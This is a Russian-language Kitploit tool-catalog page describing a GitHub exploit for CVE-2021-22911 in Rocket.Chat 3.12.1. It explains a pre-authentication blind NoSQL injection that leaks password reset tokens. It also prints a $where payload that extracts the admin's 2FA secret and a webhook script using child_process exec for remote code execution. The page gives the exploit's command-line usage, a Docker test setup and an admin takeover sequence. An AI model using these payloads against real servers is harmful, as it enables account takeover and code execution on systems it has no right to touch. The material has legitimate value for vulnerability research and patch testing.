Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-22911 — Эксплойт для CVE-2021-22911: слепая NoSQL-инъекция до аутентификации в Rocket Chat 3.12.1, позволяющая захватить учётную запись и выполнить удалённый код через скриптинг вебхуков. | Kitploit
Инструменты/GitHubGitHub/mrdottt/cve-2021-22911
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubmrdottt/cve-2021-22911

CVE-2021-22911

Эксплойт для CVE-2021-22911: слепая NoSQL-инъекция до аутентификации в Rocket Chat 3.12.1, позволяющая захватить учётную запись и выполнить удалённый код через скриптинг вебхуков.

Репозиторий
13 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-22911

Слепая NoSQL-инъекция без аутентификации, приводящая к удаленному выполнению кода в Rocket Chat 3.12.1

  • Метод getPasswordPolicy уязвим к NoSQL-инъекциям и не требует аутентификации/авторизации. Он может быть использован для захвата учетных записей путем утечки токенов сброса пароля. Захват учетной записи администратора приводит к удаленному выполнению кода.

Пояснение

  1. Захват учетной записи пользователя (без аутентификации)
  • Существует NoSQL-инъекция в конечной точке getPasswordPolicy в параметре token сброса пароля, который принимает JSON-объект, позволяющий использовать оператор $regex. Мы используем его для выполнения слепой NoSQL-инъекции для получения токена сброса.
  1. Повышение привилегий до администратора (аутентифицировано)
  • Скорее всего, учетная запись администратора защищена двухфакторной аутентификацией (2FA). Поэтому даже если мы изменим пароль администратора через (1), при входе в систему будет запрошен код 2FA.

  • Конечная точка API users.list принимает параметр запроса, который уязвим к NoSQL-инъекции. Мы также можем извлекать данные, вызывая ошибку.

  • Мы выполняем следующий запрос, чтобы получить секрет 2FA администратора: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • Затем мы просто выполняем (1) для сброса пароля администратора и используем секрет 2FA для генерации кода, который можно использовать для входа.

  • Обновлено: Вы также можете получить токен сброса тем же способом, что и секрет 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. Удаленное выполнение кода (аутентифицировано - администратор)
  • Rocket.Chat имеет функцию под названием Integrations, которая позволяет создавать входящие и исходящие веб-хуки. С этими веб-хуками могут быть связаны скрипты, которые выполняются при срабатывании веб-хука.
  • Мы создаем интеграцию со следующим скриптом:
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • Затем мы просто запускаем веб-хук, чтобы получить RCE :)

Использование

  • Вам понадобится электронная почта пользователя с низкими привилегиями, у которого не настроена 2FA. ( -u )
  • Вам также понадобится знать электронную почту администратора. Это не проблема, если администратор защищен 2FA. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Окружение

  • Протестировано на Rocket Chat 3.12.1
  • Сборка собственной тестовой среды с помощью Docker:
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • Включите политику паролей
  • Включите 2FA для администратора
  • Зарегистрируйте обычного пользователя.

ПРИМЕЧАНИЕ: Если вы не хотите, чтобы администратор был защищен 2FA, вы можете сделать следующее.

  1. Отправьте письмо о забытом пароле
  2. Получите токен сброса для администратора
  3. Измените пароль с помощью полученного токена сброса
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Благодарности

  • https://hackerone.com/reports/1130721 (источник Sonar)
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Скачать инструмент